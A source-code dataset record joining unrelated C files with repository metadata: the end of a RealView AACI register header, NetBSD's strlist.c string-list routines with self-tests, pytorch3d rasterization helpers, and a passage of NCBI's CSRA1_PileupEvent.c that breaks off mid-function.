9) #define CR_SL8 (1 << 8) #define CR_SL7 (1 << 7) #define CR_SL6 (1 << 6) #define CR_SL5 (1 << 5) #define CR_SL4 (1 << 4) #define CR_SL3 (1 << 3) #define CR_SL2 (1 << 2) #define CR_SL1 (1 << 1) #define CR_EN (1 << 0) /* transmit enable */ /* * status register bits. P49 */ #define SR_RXTOFE (1 << 11) /* rx timeout fifo empty */ #define SR_TXTO (1 << 10) /* rx timeout fifo nonempty */ #define SR_TXU (1 << 9) /* tx underrun */ #define SR_RXO (1 << 8) /* rx overrun */ #define SR_TXB (1 << 7) /* tx busy */ #define SR_RXB (1 << 6) /* rx busy */ #define SR_TXFF (1 << 5) /* tx fifo full */ #define SR_RXFF (1 << 4) /* rx fifo full */ #define SR_TXHE (1 << 3) /* tx fifo half empty */ #define SR_RXHF (1 << 2) /* rx fifo half full */ #define SR_TXFE (1 << 1) /* tx fifo empty */ #define SR_RXFE (1 << 0) /* rx fifo empty */ /* * interrupt status register bits. */ #define ISR_RXTOFEINTR (1 << 6) /* rx fifo empty */ #define ISR_URINTR (1 << 5) /* tx underflow */ #define ISR_ORINTR (1 << 4) /* rx overflow */ #define ISR_RXINTR (1 << 3) /* rx fifo */ #define ISR_TXINTR (1 << 2) /* tx fifo intr */ #define ISR_RXTOINTR (1 << 1) /* tx timeout */ #define ISR_TXCINTR (1 << 0) /* tx complete */ /* * interrupt enable register bits. */ #define IE_RXTOIE (1 << 6) #define IE_URIE (1 << 5) #define IE_ORIE (1 << 4) #define IE_RXIE (1 << 3) #define IE_TXIE (1 << 2) #define IE_RXTIE (1 << 1) #define IE_TXCIE (1 << 0) /* * interrupt status. P51 */ #define ISR_RXTOFE (1 << 6) /* rx timeout fifo empty */ #define ISR_UR (1 << 5) /* tx fifo underrun */ #define ISR_OR (1 << 4) /* rx fifo overrun */ #define ISR_RX (1 << 3) /* rx interrupt status */ #define ISR_TX (1 << 2) /* tx interrupt status */ #define ISR_RXTO (1 << 1) /* rx timeout */ #define ISR_TXC (1 << 0) /* tx complete */ /* * interrupt enable. P52 */ #define IE_RXTOFE (1 << 6) /* rx timeout fifo empty */ #define IE_UR (1 << 5) /* tx fifo underrun */ #define IE_OR (1 << 4) /* rx fifo overrun */ #define IE_RX (1 << 3) /* rx interrupt status */ #define IE_TX (1 << 2) /* tx interrupt status */ #define IE_RXTO (1 << 1) /* rx timeout */ #define IE_TXC (1 << 0) /* tx complete */ /* * slot flag register bits. P56 */ #define SLFR_RWIS (1 << 13) /* raw wake-up interrupt status */ #define SLFR_RGPIOINTR (1 << 12) /* raw gpio interrupt */ #define SLFR_12TXE (1 << 11) /* slot 12 tx empty */ #define SLFR_12RXV (1 << 10) /* slot 12 rx valid */ #define SLFR_2TXE (1 << 9) /* slot 2 tx empty */ #define SLFR_2RXV (1 << 8) /* slot 2 rx valid */ #define SLFR_1TXE (1 << 7) /* slot 1 tx empty */ #define SLFR_1RXV (1 << 6) /* slot 1 rx valid */ #define SLFR_12TXB (1 << 5) /* slot 12 tx busy */ #define SLFR_12RXB (1 << 4) /* slot 12 rx busy */ #define SLFR_2TXB (1 << 3) /* slot 2 tx busy */ #define SLFR_2RXB (1 << 2) /* slot 2 rx busy */ #define SLFR_1TXB (1 << 1) /* slot 1 tx busy */ #define SLFR_1RXB (1 << 0) /* slot 1 rx busy */ /* * Interrupt clear register. */ #define ICLR_RXTOFEC4 (1 << 12) #define ICLR_RXTOFEC3 (1 << 11) #define ICLR_RXTOFEC2 (1 << 10) #define ICLR_RXTOFEC1 (1 << 9) #define ICLR_TXUEC4 (1 << 8) #define ICLR_TXUEC3 (1 << 7) #define ICLR_TXUEC2 (1 << 6) #define ICLR_TXUEC1 (1 << 5) #define ICLR_RXOEC4 (1 << 4) #define ICLR_RXOEC3 (1 << 3) #define ICLR_RXOEC2 (1 << 2) #define ICLR_RXOEC1 (1 << 1) #define ICLR_WISC (1 << 0) /* * Main control register bits. P62 */ #define MAINCR_SCRA(x) ((x) << 10) /* secondary codec reg access */ #define MAINCR_DMAEN (1 << 9) /* dma enable */ #define MAINCR_SL12TXEN (1 << 8) /* slot 12 transmit enable */ #define MAINCR_SL12RXEN (1 << 7) /* slot 12 receive enable */ #define MAINCR_SL2TXEN (1 << 6) /* slot 2 transmit enable */ #define MAINCR_SL2RXEN (1 << 5) /* slot 2 receive enable */ #define MAINCR_SL1TXEN (1 << 4) /* slot 1 transmit enable */ #define MAINCR_SL1RXEN (1 << 3) /* slot 1 receive enable */ #define MAINCR_LPM (1 << 2) /* low power mode */ #define MAINCR_LOOPBK (1 << 1) /* loopback */ #define MAINCR_IE (1 << 0) /* aaci interface enable */ /* * Reset register bits. P65 */ #define RESET_NRST (1 << 0) /* * Sync register bits. P65 */ #define SYNC_FORCE (1 << 0) /* * Main flag register bits. P66 */ #define MAINFR_TXB (1 << 1) /* transmit busy */ #define MAINFR_RXB (1 << 0) /* receive busy */ #endif /* __REALVIEW_REG_AACI_H__ */
688e93f0bd15395caa85188b4642f70374aebdd6
28d0f8c01599f8f6c711bdde0b59f9c2cd221203
/sys/lib/libkern/strlist.c
87abbddae4f77b6e0108b523aaa2e3577365343c
[]
no_license
NetBSD/src
1a9cbc22ed778be638b37869ed4fb5c8dd616166
23ee83f7c0aea0777bd89d8ebd7f0cde9880d13c
refs/heads/trunk
2023-08-31T13:24:58.105962
2023-08-27T15:50:47
2023-08-27T15:50:47
88,439,547
656
348
null
2023-07-20T20:07:24
2017-04-16T20:03:43
null
UTF-8
C
false
false
12,236
c
strlist.c
/* $NetBSD: strlist.c,v 1.3 2023/08/11 07:05:39 mrg Exp $ */ /*- * Copyright (c) 2021 The NetBSD Foundation, Inc. * All rights reserved. * * This code is derived from software contributed to The NetBSD Foundation * by Jason R. Thorpe. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ /* * strlist -- * * A set of routines for interacting with IEEE 1275 (OpenFirmware) * style string lists. * * An OpenFirmware string list is simply a buffer containing * multiple NUL-terminated strings concatenated together. * * So, for example, the a string list consisting of the strings * "foo", "bar", and "baz" would be represented in memory like: * * foo\0bar\0baz\0 */ #include <sys/types.h> /* * Memory allocation wrappers to handle different environments. */ #if defined(_KERNEL) #include <sys/kmem.h> #include <sys/systm.h> static void * strlist_alloc(size_t const size) { return kmem_zalloc(size, KM_SLEEP); } static void strlist_free(void * const v, size_t const size) { kmem_free(v, size); } #elif defined(_STANDALONE) #include <lib/libkern/libkern.h> #include <lib/libsa/stand.h> static void * strlist_alloc(size_t const size) { char *cp = alloc(size); if (cp != NULL) { memset(cp, 0, size); } return cp; } static void strlist_free(void * const v, size_t const size) { dealloc(v, size); } #else /* user-space */ #include <stdlib.h> #include <string.h> extern int pmatch(const char *, const char *, const char **); static void * strlist_alloc(size_t const size) { return calloc(1, size); } static void strlist_free(void * const v, size_t const size __unused) { free(v); } #endif #include "strlist.h" /* * strlist_next -- * * Return a pointer to the next string in the strlist, * or NULL if there are no more strings. */ const char * strlist_next(const char * const sl, size_t const slsize, size_t * const cursorp) { if (sl == NULL || slsize == 0 || cursorp == NULL) { return NULL; } size_t cursor = *cursorp; if (cursor >= slsize) { /* No more strings in the list. */ return NULL; } const char *cp = sl + cursor; *cursorp = cursor + strlen(cp) + 1; return cp; } /* * strlist_count -- * * Return the number of strings in the strlist. */ unsigned int strlist_count(const char *sl, size_t slsize) { if (sl == NULL || slsize == 0) { return 0; } size_t cursize; unsigned int count; for (count = 0; slsize != 0; count++, sl += cursize, slsize -= cursize) { cursize = strlen(sl) + 1; } return count; } /* * strlist_string -- * * Returns the string in the strlist at the specified index. * Returns NULL if the index is beyond the strlist range. */ const char * strlist_string(const char * sl, size_t slsize, unsigned int const idx) { if (sl == NULL || slsize == 0) { return NULL; } size_t cursize; unsigned int i; for (i = 0; slsize != 0; i++, slsize -= cursize, sl += cursize) { cursize = strlen(sl) + 1; if (i == idx) { return sl; } } return NULL; } static bool match_strcmp(const char * const s1, const char * const s2) { return strcmp(s1, s2) == 0; } #if !defined(_STANDALONE) static bool match_pmatch(const char * const s1, const char * const s2) { return pmatch(s1, s2, NULL) == 2; } #endif /* _STANDALONE */ static bool strlist_match_internal(const char * const sl, size_t slsize, const char * const str, int * const indexp, unsigned int * const countp, bool (*match_fn)(const char *, const char *)) { const char *cp; size_t l; int i; bool rv = false; if (sl == NULL || slsize == 0) { return false; } cp = sl; for (i = 0; slsize != 0; l = strlen(cp) + 1, slsize -= l, cp += l, i++) { if (rv) { /* * We've already matched. We must be * counting to the end. */ continue; } if ((*match_fn)(cp, str)) { /* * Matched! Get the index. If we don't * also want the total count, then get * out early. */ *indexp = i; rv = true; if (countp == NULL) { break; } } } if (countp != NULL) { *countp = i; } return rv; } /* * strlist_match -- * * Returns a weighted match value (1 <= match <= sl->count) if the * specified string appears in the strlist. A match at the * beginning of the list carriest the greatest weight (i.e. sl->count) * and a match at the end of the list carriest the least (i.e. 1). * Returns 0 if there is no match. * * This routine operates independently of the cursor used to enumerate * a strlist. */ int strlist_match(const char * const sl, size_t const slsize, const char * const str) { unsigned int count; int idx = 0 /* XXXGCC 12 */; if (strlist_match_internal(sl, slsize, str, &idx, &count, match_strcmp)) { return count - idx; } return 0; } #if !defined(_STANDALONE) /* * strlist_pmatch -- * * Like strlist_match(), but uses pmatch(9) to match the * strings. */ int strlist_pmatch(const char * const sl, size_t const slsize, const char * const pattern) { unsigned int count; int idx = 0; /* XXXGCC12 */ if (strlist_match_internal(sl, slsize, pattern, &idx, &count, match_pmatch)) { return count - idx; } return 0; } #endif /* _STANDALONE */ /* * strlist_index -- * * Returns the index of the specified string if it appears * in the strlist. Returns -1 if the string is not found. * * This routine operates independently of the cursor used to enumerate * a strlist. */ int strlist_index(const char * const sl, size_t const slsize, const char * const str) { int idx; if (strlist_match_internal(sl, slsize, str, &idx, NULL, match_strcmp)) { return idx; } return -1; } /* * strlist_append -- * * Append the specified string to a mutable strlist. Turns * true if successful, false upon failure for any reason. */ bool strlist_append(char ** const slp, size_t * const slsizep, const char * const str) { size_t const slsize = *slsizep; char * const sl = *slp; size_t const addsize = strlen(str) + 1; size_t const newsize = slsize + addsize; char * const newbuf = strlist_alloc(newsize); if (newbuf == NULL) { return false; } if (sl != NULL) { memcpy(newbuf, sl, slsize); } memcpy(newbuf + slsize, str, addsize); if (sl != NULL) { strlist_free(sl, slsize); } *slp = newbuf; *slsizep = newsize; return true; } #ifdef STRLIST_TEST /* * To build and run the tests: * * % cc -DSTRLIST_TEST -Os pmatch.c strlist.c * % ./a.out * Testing basic properties. * Testing enumeration. * Testing weighted matching. * Testing pattern matching. * Testing index return. * Testing string-at-index. * Testing gross blob count. * Testing gross blob indexing. * Testing creating a strlist. * Verifying new strlist. * All tests completed successfully. * % */ static char nice_blob[] = "zero\0one\0two\0three\0four\0five"; static char gross_blob[] = "zero\0\0two\0\0four\0\0"; #include <assert.h> #include <stdio.h> int main(int argc, char *argv[]) { const char *sl; size_t slsize; size_t cursor; const char *cp; size_t size; sl = nice_blob; slsize = sizeof(nice_blob); printf("Testing basic properties.\n"); assert(strlist_count(sl, slsize) == 6); printf("Testing enumeration.\n"); cursor = 0; assert((cp = strlist_next(sl, slsize, &cursor)) != NULL); assert(strcmp(cp, "zero") == 0); assert((cp = strlist_next(sl, slsize, &cursor)) != NULL); assert(strcmp(cp, "one") == 0); assert((cp = strlist_next(sl, slsize, &cursor)) != NULL); assert(strcmp(cp, "two") == 0); assert((cp = strlist_next(sl, slsize, &cursor)) != NULL); assert(strcmp(cp, "three") == 0); assert((cp = strlist_next(sl, slsize, &cursor)) != NULL); assert(strcmp(cp, "four") == 0); assert((cp = strlist_next(sl, slsize, &cursor)) != NULL); assert(strcmp(cp, "five") == 0); assert((cp = strlist_next(sl, slsize, &cursor)) == NULL); printf("Testing weighted matching.\n"); assert(strlist_match(sl, slsize, "non-existent") == 0); assert(strlist_match(sl, slsize, "zero") == 6); assert(strlist_match(sl, slsize, "one") == 5); assert(strlist_match(sl, slsize, "two") == 4); assert(strlist_match(sl, slsize, "three") == 3); assert(strlist_match(sl, slsize, "four") == 2); assert(strlist_match(sl, slsize, "five") == 1); printf("Testing pattern matching.\n"); assert(strlist_pmatch(sl, slsize, "t?o") == 4); assert(strlist_pmatch(sl, slsize, "f[a-o][o-u][a-z]") == 2); printf("Testing index return.\n"); assert(strlist_index(sl, slsize, "non-existent") == -1); assert(strlist_index(sl, slsize, "zero") == 0); assert(strlist_index(sl, slsize, "one") == 1); assert(strlist_index(sl, slsize, "two") == 2); assert(strlist_index(sl, slsize, "three") == 3); assert(strlist_index(sl, slsize, "four") == 4); assert(strlist_index(sl, slsize, "five") == 5); printf("Testing string-at-index.\n"); assert(strcmp(strlist_string(sl, slsize, 0), "zero") == 0); assert(strcmp(strlist_string(sl, slsize, 1), "one") == 0); assert(strcmp(strlist_string(sl, slsize, 2), "two") == 0); assert(strcmp(strlist_string(sl, slsize, 3), "three") == 0); assert(strcmp(strlist_string(sl, slsize, 4), "four") == 0); assert(strcmp(strlist_string(sl, slsize, 5), "five") == 0); assert(strlist_string(sl, slsize, 6) == NULL); sl = gross_blob; slsize = sizeof(gross_blob); printf("Testing gross blob count.\n"); assert(strlist_count(sl, slsize) == 7); printf("Testing gross blob indexing.\n"); assert(strcmp(strlist_string(sl, slsize, 0), "zero") == 0); assert(strcmp(strlist_string(sl, slsize, 1), "") == 0); assert(strcmp(strlist_string(sl, slsize, 2), "two") == 0); assert(strcmp(strlist_string(sl, slsize, 3), "") == 0); assert(strcmp(strlist_string(sl, slsize, 4), "four") == 0); assert(strcmp(strlist_string(sl, slsize, 5), "") == 0); assert(strcmp(strlist_string(sl, slsize, 6), "") == 0); assert(strlist_string(sl, slsize, 7) == NULL); printf("Testing creating a strlist.\n"); char *newsl = NULL; size_t newslsize = 0; assert(strlist_append(&newsl, &newslsize, "zero")); assert(strlist_append(&newsl, &newslsize, "one")); assert(strlist_append(&newsl, &newslsize, "two")); assert(strlist_append(&newsl, &newslsize, "three")); assert(strlist_append(&newsl, &newslsize, "four")); assert(strlist_append(&newsl, &newslsize, "five")); printf("Verifying new strlist.\n"); assert(strlist_count(newsl, newslsize) == 6); assert(strcmp(strlist_string(newsl, newslsize, 0), "zero") == 0); assert(strcmp(strlist_string(newsl, newslsize, 1), "one") == 0); assert(strcmp(strlist_string(newsl, newslsize, 2), "two") == 0); assert(strcmp(strlist_string(newsl, newslsize, 3), "three") == 0); assert(strcmp(strlist_string(newsl, newslsize, 4), "four") == 0); assert(strcmp(strlist_string(newsl, newslsize, 5), "five") == 0); assert(strlist_string(newsl, newslsize, 6) == NULL); /* This should be equivalent to nice_blob. */ assert(newslsize == sizeof(nice_blob)); assert(memcmp(newsl, nice_blob, newslsize) == 0); printf("All tests completed successfully.\n"); return 0; } #endif /* STRLIST_TEST */
f33b2cf8eb3ed6f60438a8d965e0a0af486842c2
cb35df97989fcc46831a8adb8de3434b94fd2ecd
/pytorch3d/csrc/rasterize_points/rasterization_utils.h
6980afc4a49962760283c46ac415faa5ab76ce8e
[ "MIT", "BSD-3-Clause" ]
permissive
facebookresearch/pytorch3d
6d93b28c0f36a4b7efa0a8143726200c252d3502
a3d99cab6bf5eb69be8d5eb48895da6edd859565
refs/heads/main
2023-09-01T16:26:58.756831
2023-08-26T20:55:56
2023-08-26T20:55:56
217,433,767
7,964
1,342
NOASSERTION
2023-08-25T10:00:26
2019-10-25T02:23:45
Python
UTF-8
C
false
false
1,649
h
rasterization_utils.h
/* * Copyright (c) Meta Platforms, Inc. and affiliates. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. */ #pragma once // The default value of the NDC range is [-1, 1], however in the case that // H != W, the NDC range is set such that the shorter side has range [-1, 1] and // the longer side is scaled by the ratio of H:W. S1 is the dimension for which // the NDC range is calculated and S2 is the other image dimension. // e.g. to get the NDC x range S1 = W and S2 = H inline float NonSquareNdcRange(int S1, int S2) { float range = 2.0f; if (S1 > S2) { range = (S1 * range) / S2; } return range; } // Given a pixel coordinate 0 <= i < S1, convert it to a normalized device // coordinates. We divide the NDC range into S1 evenly-sized // pixels, and assume that each pixel falls in the *center* of its range. // The default value of the NDC range is [-1, 1], however in the case that // H != W, the NDC range is set such that the shorter side has range [-1, 1] and // the longer side is scaled by the ratio of H:W. The dimension of i should be // S1 and the other image dimension is S2 For example, to get the x and y NDC // coordinates or a given pixel i: // x = PixToNonSquareNdc(i, W, H) // y = PixToNonSquareNdc(i, H, W) inline float PixToNonSquareNdc(int i, int S1, int S2) { float range = NonSquareNdcRange(S1, S2); // NDC: offset + (i * pixel_width + half_pixel_width) // The NDC range is [-range/2, range/2]. const float offset = (range / 2.0f); return -offset + (range * i + offset) / S1; }
9281a6b8bcf05a23dc41d3078d6f050598e293ec
515a17dfa8acffb7dbc076dca5be7ef3ddc2952f
/ngs/ncbi/ngs/CSRA1_PileupEvent.c
c56cd8200c644e5b99169a808b374de1af1b462f
[ "LicenseRef-scancode-ncbi", "LicenseRef-scancode-public-domain", "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-us-govt-public-domain" ]
permissive
ncbi/sra-tools
d54d2fe00214d9471b6dbd0b90c2fe0062f87cdd
1bb9cd2f317a232eb8f1e1d33cfc3582c71b3eec
refs/heads/master
2023-09-01T11:46:59.189830
2023-08-29T16:34:24
2023-08-29T16:34:24
23,203,598
991
271
NOASSERTION
2023-09-14T19:43:38
2014-08-21T21:25:38
C
UTF-8
C
false
false
37,902
c
CSRA1_PileupEvent.c
/*=========================================================================== * * PUBLIC DOMAIN NOTICE * National Center for Biotechnology Information * * This software/database is a "United States Government Work" under the * terms of the United States Copyright Act. It was written as part of * the author's official duties as a United States Government employee and * thus cannot be copyrighted. This software/database is freely available * to the public for use. The National Library of Medicine and the U.S. * Government have not placed any restriction on its use or reproduction. * * Although all reasonable efforts have been taken to ensure the accuracy * and reliability of the software and data, the NLM and the U.S. * Government do not and cannot warrant the performance or results that * may be obtained by using this software or data. The NLM and the U.S. * Government disclaim all warranties, express or implied, including * warranties of performance, merchantability or fitness for any particular * purpose. * * Please cite the author in any work or product based on this material. * * =========================================================================== * */ typedef struct CSRA1_PileupEvent CSRA1_PileupEvent; #define NGS_PILEUPEVENT CSRA1_PileupEvent #include "NGS_PileupEvent.h" #include "CSRA1_PileupEvent.h" #include "CSRA1_Pileup.h" #include "NGS_Pileup.h" #include "NGS_Reference.h" #include "NGS_ReadCollection.h" #include "NGS_Id.h" #include "NGS_String.h" #include "NGS_Cursor.h" #include <kfc/ctx.h> #include <kfc/except.h> #include <kfc/xc.h> #include <align/align.h> #include <klib/printf.h> #include "NGS_String.h" #include "NGS_Pileup.h" #include <sysalloc.h> #include <string.h> /* memset */ #define CSRA1_PileupEventGetPileup( self ) \ ( ( CSRA1_Pileup * ) ( self ) ) static void CSRA1_PileupEventStateTest ( const CSRA1_PileupEvent * self, ctx_t ctx, uint32_t lineno ) { assert ( self != NULL ); if ( ! self -> seen_first ) { ctx_event ( ctx, lineno, xc_sev_fail, xc_org_user, xcIteratorUninitialized, "PileupEvent accessed before a call to PileupEventIteratorNext()" ); } else if ( self -> entry == NULL ) { ctx_event ( ctx, lineno, xc_sev_fail, xc_org_user, xcCursorExhausted, "No more rows available" ); } } #define CHECK_STATE( self, ctx ) \ CSRA1_PileupEventStateTest ( self, ctx, __LINE__ ) void CSRA1_PileupEventWhack ( CSRA1_PileupEvent * self, ctx_t ctx ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcDestroying ); NGS_PileupWhack ( & self -> dad, ctx ); } static const void * CSRA1_PileupEventGetEntry ( const CSRA1_PileupEvent * self, ctx_t ctx, CSRA1_Pileup_Entry * entry, uint32_t col_idx ) { if ( entry -> cell_data [ col_idx ] == NULL ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); return CSRA1_PileupGetEntry ( CSRA1_PileupEventGetPileup ( self ), ctx, entry, col_idx ); } return entry -> cell_data [ col_idx ]; } static const void * CSRA1_PileupEventGetNonEmptyEntry ( const CSRA1_PileupEvent * self, ctx_t ctx, CSRA1_Pileup_Entry * entry, uint32_t col_idx ) { if ( entry -> cell_len [ col_idx ] == 0 ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); if ( entry -> cell_data [ col_idx ] == NULL ) CSRA1_PileupGetEntry ( CSRA1_PileupEventGetPileup ( self ), ctx, entry, col_idx ); if ( entry -> cell_len [ col_idx ] == 0 ) { INTERNAL_ERROR ( xcColumnEmpty, "zero-length cell data (row_id = %ld, col_idx = %u)", entry->row_id, col_idx ); return NULL; } } return entry -> cell_data [ col_idx ]; } int CSRA1_PileupEventGetMappingQuality ( const CSRA1_PileupEvent * self, ctx_t ctx ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); TRY ( CHECK_STATE ( self, ctx ) ) { const int32_t * MAPQ; TRY ( MAPQ = CSRA1_PileupEventGetNonEmptyEntry ( self, ctx, self -> entry, pileup_event_col_MAPQ ) ) { return MAPQ [ 0 ]; } } return 0; } struct NGS_String * CSRA1_PileupEventGetAlignmentId ( const CSRA1_PileupEvent * self, ctx_t ctx ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); TRY ( CHECK_STATE ( self, ctx ) ) { NGS_ReadCollection * coll = self -> dad . dad . ref -> coll; TRY ( const NGS_String * run = NGS_ReadCollectionGetName ( coll, ctx ) ) { enum NGS_Object obj_type = self -> entry -> secondary ? NGSObject_SecondaryAlignment : NGSObject_PrimaryAlignment; return NGS_IdMake ( ctx, run, obj_type, self -> entry -> row_id ); } } return NULL; } int64_t CSRA1_PileupEventGetAlignmentPosition ( const CSRA1_PileupEvent * self, ctx_t ctx ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); TRY ( CHECK_STATE ( self, ctx ) ) { return self -> entry -> state_curr . seq_idx; } return 0; } int64_t CSRA1_PileupEventGetFirstAlignmentPosition ( const CSRA1_PileupEvent * self, ctx_t ctx ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); TRY ( CHECK_STATE ( self, ctx ) ) { return self -> entry -> zstart; } return 0; } int64_t CSRA1_PileupEventGetLastAlignmentPosition ( const CSRA1_PileupEvent * self, ctx_t ctx ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); TRY ( CHECK_STATE ( self, ctx ) ) { return self -> entry -> xend - 1; } return 0; } int CSRA1_PileupEventGetEventType ( const CSRA1_PileupEvent * self, ctx_t ctx ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); int event_type = 0; TRY ( CHECK_STATE ( self, ctx ) ) { const bool * REF_ORIENTATION; CSRA1_Pileup_Entry * entry = self -> entry; /* during "next" we took these steps: 1. if within a deletion, decrement deletion repeat && exit if ! 0 2. check HAS_REF_OFFSET. if not false: a. a positive REF_OFFSET[ref_offset_idx] indicates a deletion b. a negative REF_OFFSET[ref_offset_idx] indicates an insertion 3. move current offset ahead until ref_pos >= that of pileup so here, we first detect a deletion event next, we detect a match or mismatch by checking HAS_MISMATCH. if there was a prior insertion, we or that onto the event. if this event starts a new alignment, or start onto event. if it ends an alignment, or that onto the event. */ if ( entry -> state_curr . del_cnt != 0 ) event_type = NGS_PileupEventType_deletion; else { const bool * HAS_MISMATCH = entry -> cell_data [ pileup_event_col_HAS_MISMATCH ]; assert ( HAS_MISMATCH != NULL ); assert ( entry -> state_curr . seq_idx < entry -> cell_len [ pileup_event_col_HAS_MISMATCH ] ); event_type = HAS_MISMATCH [ entry -> state_curr . seq_idx ]; } /* detect prior insertion */ if ( entry -> state_curr . ins_cnt != 0 ) event_type |= NGS_PileupEventType_insertion; /* detect initial event */ if ( CSRA1_PileupEventGetPileup ( self ) -> ref_zpos == entry -> zstart ) event_type |= NGS_PileupEventType_start; /* detect final event */ if ( CSRA1_PileupEventGetPileup ( self ) -> ref_zpos + 1 == entry -> xend || entry -> status == pileup_entry_status_DONE) { event_type |= NGS_PileupEventType_stop; } /* detect minus strand */ TRY ( REF_ORIENTATION = CSRA1_PileupEventGetEntry ( self, ctx, entry, pileup_event_col_REF_ORIENTATION ) ) { assert ( REF_ORIENTATION != NULL ); assert ( entry -> cell_len [ pileup_event_col_REF_ORIENTATION ] == 1 ); if ( REF_ORIENTATION [ 0 ] ) event_type |= NGS_PileupEventType_minus_strand; } } return event_type; } char CSRA1_PileupEventGetAlignmentBase ( const CSRA1_PileupEvent * self, ctx_t ctx ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); TRY ( CHECK_STATE ( self, ctx ) ) { CSRA1_Pileup * pileup; CSRA1_Pileup_Entry * entry = self -> entry; const bool * HAS_MISMATCH = entry -> cell_data [ pileup_event_col_HAS_MISMATCH ]; if ( entry -> state_curr . del_cnt != 0 ) return '-'; assert ( HAS_MISMATCH != NULL ); assert ( entry -> state_curr . seq_idx < entry -> cell_len [ pileup_event_col_HAS_MISMATCH ] ); if ( HAS_MISMATCH [ entry -> state_curr . seq_idx ] ) { if ( entry -> state_curr . mismatch == 0 ) { const INSDC_dna_text * MISMATCH; TRY ( MISMATCH = CSRA1_PileupEventGetEntry ( self, ctx, entry, pileup_event_col_MISMATCH ) ) { if ( entry -> state_curr . mismatch_idx < entry -> cell_len [ pileup_event_col_MISMATCH ] ) entry -> state_curr . mismatch = MISMATCH [ entry -> state_curr . mismatch_idx ]; } } return entry -> state_curr . mismatch; } pileup = CSRA1_PileupEventGetPileup ( self ); if ( pileup -> ref_base == 0 ) { if ( pileup -> ref_chunk_bases == NULL ) { const void * base; uint32_t elem_bits, boff, row_len; ON_FAIL ( NGS_CursorCellDataDirect ( pileup -> ref . curs, ctx, pileup -> ref_chunk_id, reference_READ, & elem_bits, & base, & boff, & row_len ) ) { return 0; } pileup -> ref_chunk_bases = base; assert ( row_len == pileup -> ref . max_seq_len || pileup -> ref_chunk_xend - pileup -> ref . max_seq_len + row_len >= pileup -> slice_xend ); } assert ( pileup -> ref . max_seq_len != 0 ); pileup -> ref_base = pileup -> ref_chunk_bases [ CSRA1_PileupEventGetPileup ( self ) -> ref_zpos % pileup -> ref . max_seq_len ]; } return pileup -> ref_base; } return 0; } char CSRA1_PileupEventGetAlignmentQuality ( const CSRA1_PileupEvent * self, ctx_t ctx ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); TRY ( CHECK_STATE ( self, ctx ) ) { const INSDC_quality_phred * QUALITY; CSRA1_Pileup_Entry * entry = self -> entry; if ( entry -> state_curr . del_cnt != 0 ) return '!'; TRY ( QUALITY = CSRA1_PileupEventGetEntry ( self, ctx, entry, pileup_event_col_QUALITY ) ) { assert ( QUALITY != NULL ); assert ( entry -> state_curr . seq_idx < entry -> cell_len [ pileup_event_col_QUALITY ] ); return ( char ) ( QUALITY [ entry -> state_curr . seq_idx ] + 33 ); } } return 0; } struct NGS_String * CSRA1_PileupEventGetInsertionBases ( const CSRA1_PileupEvent * self, ctx_t ctx ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); TRY ( CHECK_STATE ( self, ctx ) ) { CSRA1_Pileup_Entry * entry = self -> entry; /* handle the case where there is no insertion */ if ( entry -> state_curr . ins_cnt == 0 ) { return NGS_StringMake ( ctx, "", 0 ); } else { /* allocate a buffer for the NGS_String */ char * buffer = calloc ( 1, entry -> state_curr . ins_cnt + 1 ); if ( buffer == NULL ) SYSTEM_ERROR ( xcNoMemory, "allocating %zu bytes", entry -> state_curr . ins_cnt + 1 ); else { const INSDC_dna_text * MISMATCH; const bool * HAS_MISMATCH = entry -> cell_data [ pileup_event_col_HAS_MISMATCH ]; assert ( HAS_MISMATCH != NULL ); /* it is "possible" but not likely that we may not need the MISMATCH cell. this would be the case if there was an insertion that exactly repeated a region of the reference, such that there were no mismatches in it. but even so, it should not be a problem to prefetch MISMATCH */ TRY ( MISMATCH = CSRA1_PileupEventGetEntry ( self, ctx, entry, pileup_event_col_MISMATCH ) ) { uint32_t ref_first = entry -> state_curr . seq_idx; uint32_t mismatch_idx = entry -> state_curr . mismatch_idx; uint32_t seq_idx, ins_start = entry -> state_curr . seq_idx - entry -> state_curr . ins_cnt; assert ( MISMATCH != 0 ); /* seq_idx MUST be > ins_cnt, which is non-zero, ... for seq_idx to be == ins_cnt implies that the sequence starts with an insertion, otherwise considered a soft-clip, and not an insertion at all. */ assert ( entry -> state_curr . seq_idx > entry -> 